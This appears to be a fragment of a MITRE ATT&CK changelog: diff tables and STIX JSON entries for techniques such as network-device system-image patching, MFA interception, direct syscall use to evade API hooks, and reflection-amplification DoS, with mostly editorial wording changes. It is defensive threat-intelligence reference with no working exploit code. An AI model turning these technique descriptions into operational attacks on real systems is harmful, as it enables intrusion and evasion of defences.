| > | s.(Citation: Killing the myth of Cisco IOS rootkits) (Citati | > | s.(Citation: Killing the myth of Cisco IOS rootkits)(Citatio | ||
| > | on: Killing IOS diversity myth) (Citation: Cisco IOS Shellco | > | n: Killing IOS diversity myth)(Citation: Cisco IOS Shellcode | ||
| > | de) (Citation: Cisco IOS Forensics Developments) (Citation: | > | )(Citation: Cisco IOS Forensics Developments)(Citation: Juni | ||
| > | Juniper Netscreen of the Dead) Some network devices are buil | > | per Netscreen of the Dead) Some network devices are built wi | ||
| > | t with a monolithic architecture, where the entire operating | > | th a monolithic architecture, where the entire operating sys | ||
| > | system and most of the functionality of the device is conta | > | tem and most of the functionality of the device is contained | ||
| > | ined within a single file. Adversaries may change this file | > | within a single file. Adversaries may change this file in | ||
| > | in storage, to be loaded in a future boot, or in memory dur | > | storage, to be loaded in a future boot, or in memory during | ||
| > | ing runtime. To change the operating system in storage, the | > | runtime. To change the operating system in storage, the adv | ||
| > | adversary will typically use the standard procedures availa | > | ersary will typically use the standard procedures available | ||
| > | ble to device operators. This may involve downloading a new | > | to device operators. This may involve downloading a new file | ||
| > | file via typical protocols used on network devices, such as | > | via typical protocols used on network devices, such as TFTP | ||
| > | TFTP, FTP, SCP, or a console connection. The original file | > | , FTP, SCP, or a console connection. The original file may | ||
| > | may be overwritten, or a new file may be written alongside o | > | be overwritten, or a new file may be written alongside of it | ||
| > | f it and the device reconfigured to boot to the compromised | > | and the device reconfigured to boot to the compromised imag | ||
| > | image. To change the operating system in memory, the advers | > | e. To change the operating system in memory, the adversary | ||
| > | ary typically can use one of two methods. In the first, the | > | typically can use one of two methods. In the first, the adve | ||
| > | adversary would make use of native debug commands in the ori | > | rsary would make use of native debug commands in the origina | ||
| > | ginal, unaltered running operating system that allow them to | > | l, unaltered running operating system that allow them to dir | ||
| > | directly modify the relevant memory addresses containing th | > | ectly modify the relevant memory addresses containing the ru | ||
| > | e running operating system. This method typically requires | > | nning operating system. This method typically requires admi | ||
| > | administrative level access to the device. In the second me | > | nistrative level access to the device. In the second method | ||
| > | thod for changing the operating system in memory, the advers | > | for changing the operating system in memory, the adversary | ||
| > | ary would make use of the boot loader. The boot loader is th | > | would make use of the boot loader. The boot loader is the fi | ||
| > | e first piece of software that loads when the device starts | > | rst piece of software that loads when the device starts that | ||
| > | that, in turn, will launch the operating system. Adversarie | > | , in turn, will launch the operating system. Adversaries ma | ||
| > | s may use malicious code previously implanted in the boot lo | > | y use malicious code previously implanted in the boot loader | ||
| > | ader, such as through the [ROMMONkit](https://attack.mitre.o | > | , such as through the [ROMMONkit](https://attack.mitre.org/t | ||
| > | rg/techniques/T1542/004) method, to directly manipulate runn | > | echniques/T1542/004) method, to directly manipulate running | ||
| > | ing operating system code in memory. This malicious code in | > | operating system code in memory. This malicious code in the | ||
| > | the bootloader provides the capability of direct memory man | > | bootloader provides the capability of direct memory manipul | ||
| > | ipulation to the adversary, allowing them to patch the live | > | ation to the adversary, allowing them to patch the live oper | ||
| > | operating system during runtime. By modifying the instructi | > | ating system during runtime. By modifying the instructions | ||
| > | ons stored in the system image file, adversaries may either | > | stored in the system image file, adversaries may either weak | ||
| > | weaken existing defenses or provision new capabilities that | > | en existing defenses or provision new capabilities that the | ||
| > | the device did not have before. Examples of existing defense | > | device did not have before. Examples of existing defenses th | ||
| > | s that can be impeded include encryption, via [Weaken Encryp | > | at can be impeded include encryption, via [Weaken Encryption | ||
| > | tion](https://attack.mitre.org/techniques/T1600), authentica | > | ](https://attack.mitre.org/techniques/T1600), authentication | ||
| > | tion, via [Network Device Authentication](https://attack.mit | > | , via [Network Device Authentication](https://attack.mitre.o | ||
| > | re.org/techniques/T1556/004), and perimeter defenses, via [N | > | rg/techniques/T1556/004), and perimeter defenses, via [Netwo | ||
| > | etwork Boundary Bridging](https://attack.mitre.org/technique | > | rk Boundary Bridging](https://attack.mitre.org/techniques/T1 | ||
| > | s/T1599). Adding new capabilities for the adversary\u2019s purpo | > | 599). Adding new capabilities for the adversary\u2019s purpose i | ||
| > | se include [Keylogging](https://attack.mitre.org/techniques/ | > | nclude [Keylogging](https://attack.mitre.org/techniques/T105 | ||
| > | T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techn | > | 6/001), [Multi-hop Proxy](https://attack.mitre.org/technique | ||
| > | iques/T1090/003), and [Port Knocking](https://attack.mitre.o | > | s/T1090/003), and [Port Knocking](https://attack.mitre.org/t | ||
| > | rg/techniques/T1205/001). Adversaries may also compromise e | > | echniques/T1205/001). Adversaries may also compromise exist | ||
| > | xisting commands in the operating system to produce false ou | > | ing commands in the operating system to produce false output | ||
| > | tput to mislead defenders. When this method is used in con | > | to mislead defenders. When this method is used in conjunc | ||
| > | junction with [Downgrade System Image](https://attack.mitre. | > | tion with [Downgrade System Image](https://attack.mitre.org/ | ||
| > | org/techniques/T1601/002), one example of a compromised syst | > | techniques/T1601/002), one example of a compromised system c | ||
| > | em command may include changing the output of the command th | > | ommand may include changing the output of the command that s | ||
| > | at shows the version of the currently running operating syst | > | hows the version of the currently running operating system. | ||
| > | em. By patching the operating system, the adversary can cha | > | By patching the operating system, the adversary can change | ||
| > | nge this command to instead display the original, higher rev | > | this command to instead display the original, higher revisio | ||
| > | ision number that they replaced through the system downgrade | > | n number that they replaced through the system downgrade. | ||
| > | . When the operating system is patched in storage, this ca | > | When the operating system is patched in storage, this can be | ||
| > | n be achieved in either the resident storage (typically a fo | > | achieved in either the resident storage (typically a form o | ||
| > | rm of flash memory, which is non-volatile) or via [TFTP Boot | > | f flash memory, which is non-volatile) or via [TFTP Boot](ht | ||
| > | ](https://attack.mitre.org/techniques/T1542/005). When the | > | tps://attack.mitre.org/techniques/T1542/005). When the tec | ||
| > | technique is performed on the running operating system in m | > | hnique is performed on the running operating system in memor | ||
| > | emory and not on the stored copy, this technique will not su | > | y and not on the stored copy, this technique will not surviv | ||
| > | rvive across reboots. However, live memory modification of | > | e across reboots. However, live memory modification of the | ||
| > | the operating system can be combined with [ROMMONkit](https: | > | operating system can be combined with [ROMMONkit](https://at | ||
| > | //attack.mitre.org/techniques/T1542/004) to achieve persiste | > | tack.mitre.org/techniques/T1542/004) to achieve persistence. | ||
| > | nce. | > |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target multi-factor authentication (MFA) mec | t | 1 | Adversaries may target multi-factor authentication (MFA) mec |
| > | hanisms, (i.e., smart cards, token generators, etc.) to gain | > | hanisms, (i.e., smart cards, token generators, etc.) to gain | ||
| > | access to credentials that can be used to access systems, s | > | access to credentials that can be used to access systems, s | ||
| > | ervices, and network resources. Use of MFA is recommended an | > | ervices, and network resources. Use of MFA is recommended an | ||
| > | d provides a higher level of security than usernames and pas | > | d provides a higher level of security than usernames and pas | ||
| > | swords alone, but organizations should be aware of technique | > | swords alone, but organizations should be aware of technique | ||
| > | s that could be used to intercept and bypass these security | > | s that could be used to intercept and bypass these security | ||
| > | mechanisms. If a smart card is used for multi-factor authe | > | mechanisms. If a smart card is used for multi-factor authe | ||
| > | ntication, then a keylogger will need to be used to obtain t | > | ntication, then a keylogger will need to be used to obtain t | ||
| > | he password associated with a smart card during normal use. | > | he password associated with a smart card during normal use. | ||
| > | With both an inserted card and access to the smart card pass | > | With both an inserted card and access to the smart card pass | ||
| > | word, an adversary can connect to a network resource using t | > | word, an adversary can connect to a network resource using t | ||
| > | he infected system to proxy the authentication with the inse | > | he infected system to proxy the authentication with the inse | ||
| > | rted hardware token. (Citation: Mandiant M Trends 2011) Adv | > | rted hardware token.(Citation: Mandiant M Trends 2011) Adve | ||
| > | ersaries may also employ a keylogger to similarly target oth | > | rsaries may also employ a keylogger to similarly target othe | ||
| > | er hardware tokens, such as RSA SecurID. Capturing token inp | > | r hardware tokens, such as RSA SecurID. Capturing token inpu | ||
| > | ut (including a user's personal identification code) may pro | > | t (including a user's personal identification code) may prov | ||
| > | vide temporary access (i.e. replay the one-time passcode unt | > | ide temporary access (i.e. replay the one-time passcode unti | ||
| > | il the next value rollover) as well as possibly enabling adv | > | l the next value rollover) as well as possibly enabling adve | ||
| > | ersaries to reliably predict future authentication values (g | > | rsaries to reliably predict future authentication values (gi | ||
| > | iven access to both the algorithm and any seed values used t | > | ven access to both the algorithm and any seed values used to | ||
| > | o generate appended temporary codes). (Citation: GCN RSA Jun | > | generate appended temporary codes).(Citation: GCN RSA June | ||
| > | e 2011) Other methods of MFA may be intercepted and used by | > | 2011) Other methods of MFA may be intercepted and used by a | ||
| > | an adversary to authenticate. It is common for one-time cod | > | n adversary to authenticate. It is common for one-time codes | ||
| > | es to be sent via out-of-band communications (email, SMS). I | > | to be sent via out-of-band communications (email, SMS). If | ||
| > | f the device and/or service is not secured, then it may be v | > | the device and/or service is not secured, then it may be vul | ||
| > | ulnerable to interception. Service providers can also be tar | > | nerable to interception. Service providers can also be targe | ||
| > | geted: for example, an adversary may compromise an SMS messa | > | ted: for example, an adversary may compromise an SMS messagi | ||
| > | ging service in order to steal MFA codes sent to users\u2019 phon | > | ng service in order to steal MFA codes sent to users\u2019 phones | ||
| > | es.(Citation: Okta Scatter Swine 2022) | > | .(Citation: Okta Scatter Swine 2022) |
NtCreateProcess) may be directly invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or indirectly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1106",
"external_id": "T1106"
},
{
"source_name": "MACOS Cocoa",
"description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.",
"url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1"
},
{
"source_name": "Apple Core Services",
"description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.",
"url": "https://developer.apple.com/documentation/coreservices"
},
{
"source_name": "macOS Foundation",
"description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.",
"url": "https://developer.apple.com/documentation/foundation"
},
{
"source_name": "OutFlank System Calls",
"description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
"url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
},
{
"source_name": "Redops Syscalls",
"description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.",
"url": "https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls"
},
{
"source_name": "GNU Fork",
"description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.",
"url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html"
},
{
"source_name": "CyberBit System Calls",
"description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.",
"url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/"
},
{
"source_name": "GLIBC",
"description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.",
"url": "https://www.gnu.org/software/libc/"
},
{
"source_name": "LIBC",
"description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.",
"url": "https://man7.org/linux/man-pages//man7/libc.7.html"
},
{
"source_name": "Linux Kernel API",
"description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.",
"url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html"
},
{
"source_name": "MDSec System Calls",
"description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
"url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
},
{
"source_name": "Microsoft CreateProcess",
"description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
},
{
"source_name": "Microsoft Win32",
"description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/api/"
},
{
"source_name": "Microsoft NET",
"description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.",
"url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework"
},
{
"source_name": "NT API Windows",
"description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.",
"url": "https://undocumented.ntinternals.net/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Gordon Long, LegioX/Zoom, asaurusrex",
"Stefan Kanthak",
"Tristan Madani (Cybereason)"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.3",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:33:34.331000+00:00\", \"old_value\": \"2026-09-11 19:38:58.040000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\\n\\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\\n\\nNative API functions (such as NtCreateProcess) may be directly invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n\\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n\\nAdversaries may use assembly to directly or indirectly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).\", \"old_value\": \"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\\n\\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\\n\\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n\\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n\\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).\", \"diff\": \"--- \\n+++ \\n@@ -2,8 +2,8 @@\\n \\n Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\\n \\n-Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n+Native API functions (such as NtCreateProcess) may be directly invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n \\n Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n \\n-Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).\\n+Adversaries may use assembly to directly or indirectly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).\"}}}",
"previous_version": "2.3",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may interact with the native OS application prog | t | 1 | Adversaries may interact with the native OS application prog |
| > | ramming interface (API) to execute behaviors. Native APIs pr | > | ramming interface (API) to execute behaviors. Native APIs pr | ||
| > | ovide a controlled means of calling low-level OS services wi | > | ovide a controlled means of calling low-level OS services wi | ||
| > | thin the kernel, such as those involving hardware/devices, m | > | thin the kernel, such as those involving hardware/devices, m | ||
| > | emory, and processes.(Citation: NT API Windows)(Citation: Li | > | emory, and processes.(Citation: NT API Windows)(Citation: Li | ||
| > | nux Kernel API) These native APIs are leveraged by the OS du | > | nux Kernel API) These native APIs are leveraged by the OS du | ||
| > | ring system boot (when other system components are not yet i | > | ring system boot (when other system components are not yet i | ||
| > | nitialized) as well as carrying out tasks and requests durin | > | nitialized) as well as carrying out tasks and requests durin | ||
| > | g routine operations. Adversaries may abuse these OS API fu | > | g routine operations. Adversaries may abuse these OS API fu | ||
| > | nctions as a means of executing behaviors. Similar to [Comma | > | nctions as a means of executing behaviors. Similar to [Comma | ||
| > | nd and Scripting Interpreter](https://attack.mitre.org/techn | > | nd and Scripting Interpreter](https://attack.mitre.org/techn | ||
| > | iques/T1059), the native API and its hierarchy of interfaces | > | iques/T1059), the native API and its hierarchy of interfaces | ||
| > | provide mechanisms to interact with and utilize various com | > | provide mechanisms to interact with and utilize various com | ||
| > | ponents of a victimized system. Native API functions (such | > | ponents of a victimized system. Native API functions (such | ||
| > | as <code>NtCreateProcess</code>) may be directed invoked via | > | as <code>NtCreateProcess</code>) may be directly invoked via | ||
| > | system calls / syscalls, but these features are also often | > | system calls / syscalls, but these features are also often | ||
| > | exposed to user-mode applications via interfaces and librari | > | exposed to user-mode applications via interfaces and librari | ||
| > | es.(Citation: OutFlank System Calls)(Citation: CyberBit Syst | > | es.(Citation: OutFlank System Calls)(Citation: CyberBit Syst | ||
| > | em Calls)(Citation: MDSec System Calls) For example, functio | > | em Calls)(Citation: MDSec System Calls) For example, functio | ||
| > | ns such as the Windows API <code>CreateProcess()</code> or G | > | ns such as the Windows API <code>CreateProcess()</code> or G | ||
| > | NU <code>fork()</code> will allow programs and scripts to st | > | NU <code>fork()</code> will allow programs and scripts to st | ||
| > | art other processes.(Citation: Microsoft CreateProcess)(Cita | > | art other processes.(Citation: Microsoft CreateProcess)(Cita | ||
| > | tion: GNU Fork) This may allow API callers to execute a bina | > | tion: GNU Fork) This may allow API callers to execute a bina | ||
| > | ry, run a CLI command, load modules, etc. as thousands of si | > | ry, run a CLI command, load modules, etc. as thousands of si | ||
| > | milar API functions exist for various system operations.(Cit | > | milar API functions exist for various system operations.(Cit | ||
| > | ation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) Hi | > | ation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) Hi | ||
| > | gher level software frameworks, such as Microsoft .NET and m | > | gher level software frameworks, such as Microsoft .NET and m | ||
| > | acOS Cocoa, are also available to interact with native APIs. | > | acOS Cocoa, are also available to interact with native APIs. | ||
| > | These frameworks typically provide language wrappers/abstra | > | These frameworks typically provide language wrappers/abstra | ||
| > | ctions to API functionalities and are designed for ease-of-u | > | ctions to API functionalities and are designed for ease-of-u | ||
| > | se/portability of code.(Citation: Microsoft NET)(Citation: A | > | se/portability of code.(Citation: Microsoft NET)(Citation: A | ||
| > | pple Core Services)(Citation: MACOS Cocoa)(Citation: macOS F | > | pple Core Services)(Citation: MACOS Cocoa)(Citation: macOS F | ||
| > | oundation) Adversaries may use assembly to directly or in-d | > | oundation) Adversaries may use assembly to directly or indi | ||
| > | irectly invoke syscalls in an attempt to subvert defensive s | > | rectly invoke syscalls in an attempt to subvert defensive se | ||
| > | ensors and detection signatures such as user mode API-hooks. | > | nsors and detection signatures such as user mode API-hooks.( | ||
| > | (Citation: Redops Syscalls) Adversaries may also attempt to | > | Citation: Redops Syscalls) Adversaries may also attempt to t | ||
| > | tamper with sensors and defensive tools associated with API | > | amper with sensors and defensive tools associated with API m | ||
| > | monitoring, such as unhooking monitored functions via [Disab | > | onitoring, such as unhooking monitored functions via [Disabl | ||
| > | le or Modify Tools](https://attack.mitre.org/techniques/T168 | > | e or Modify Tools](https://attack.mitre.org/techniques/T1685 | ||
| > | 5). | > | ). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to cause a denial of service (DoS) b | t | 1 | Adversaries may attempt to cause a denial of service (DoS) b |
| > | y reflecting a high-volume of network traffic to a target. T | > | y reflecting a high-volume of network traffic to a target. T | ||
| > | his type of Network DoS takes advantage of a third-party ser | > | his type of Network DoS takes advantage of a third-party ser | ||
| > | ver intermediary that hosts and will respond to a given spoo | > | ver intermediary that hosts and will respond to a given spoo | ||
| > | fed source IP address. This third-party server is commonly t | > | fed source IP address. This third-party server is commonly t | ||
| > | ermed a reflector. An adversary accomplishes a reflection at | > | ermed a reflector. An adversary accomplishes a reflection at | ||
| > | tack by sending packets to reflectors with the spoofed addre | > | tack by sending packets to reflectors with the spoofed addre | ||
| > | ss of the victim. Similar to Direct Network Floods, more tha | > | ss of the victim. Similar to Direct Network Floods, more tha | ||
| > | n one system may be used to conduct the attack, or a botnet | > | n one system may be used to conduct the attack, or a botnet | ||
| > | may be used. Likewise, one or more reflectors may be used to | > | may be used. Likewise, one or more reflectors may be used to | ||
| > | focus traffic on the target.(Citation: Cloudflare Reflectio | > | focus traffic on the target.(Citation: Cloudflare Reflectio | ||
| > | nDoS May 2017) This Network DoS attack may also reduce the a | > | nDoS May 2017) This Network DoS attack may also reduce the a | ||
| > | vailability and functionality of the targeted system(s) and | > | vailability and functionality of the targeted system(s) and | ||
| > | network. Reflection attacks often take advantage of protoco | > | network. Reflection attacks often take advantage of protoco | ||
| > | ls with larger responses than requests in order to amplify t | > | ls with larger responses than requests in order to amplify t | ||
| > | heir traffic, commonly known as a Reflection Amplification a | > | heir traffic, commonly known as a Reflection Amplification a | ||
| > | ttack. Adversaries may be able to generate an increase in vo | > | ttack. Adversaries may be able to generate an increase in vo | ||
| > | lume of attack traffic that is several orders of magnitude g | > | lume of attack traffic that is several orders of magnitude g | ||
| > | reater than the requests sent to the amplifiers. The extent | > | reater than the requests sent to the amplifiers. The extent | ||
| > | of this increase will depending upon many variables, such as | > | of this increase will depend upon many variables, such as th | ||
| > | the protocol in question, the technique used, and the ampli | > | e protocol in question, the technique used, and the amplifyi | ||
| > | fying servers that actually produce the amplification in att | > | ng servers that actually produce the amplification in attack | ||
| > | ack volume. Two prominent protocols that have enabled Reflec | > | volume. Two prominent protocols that have enabled Reflectio | ||
| > | tion Amplification Floods are DNS(Citation: Cloudflare DNSam | > | n Amplification Floods are DNS(Citation: Cloudflare DNSamplf | ||
| > | plficationDoS) and NTP(Citation: Cloudflare NTPamplifciation | > | icationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS | ||
| > | DoS), though the use of several others in the wild have been | > | ), though the use of several others in the wild has been doc | ||
| > | documented.(Citation: Arbor AnnualDoSreport Jan 2018) In p | > | umented.(Citation: Arbor AnnualDoSreport Jan 2018) In parti | ||
| > | articular, the memcache protocol showed itself to be a power | > | cular, the memcache protocol showed itself to be a powerful | ||
| > | ful protocol, with amplification sizes up to 51,200 times th | > | protocol, with amplification sizes up to 51,200 times the re | ||
| > | e requesting packet.(Citation: Cloudflare Memcrashed Feb 201 | > | questing packet.(Citation: Cloudflare Memcrashed Feb 2018) | ||
| > | 8) |
dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1046",
"external_id": "T1046"
},
{
"source_name": "apple doco bonjour description",
"description": "Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.",
"url": "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html"
},
{
"source_name": "CISA AR21-126A FIVEHANDS May 2021",
"description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
"url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
},
{
"source_name": "macOS APT Activity Bradley",
"description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.",
"url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Praetorian",
"Aaron Sullivan aka ZerkerEOD"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"IaaS",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "3.2",
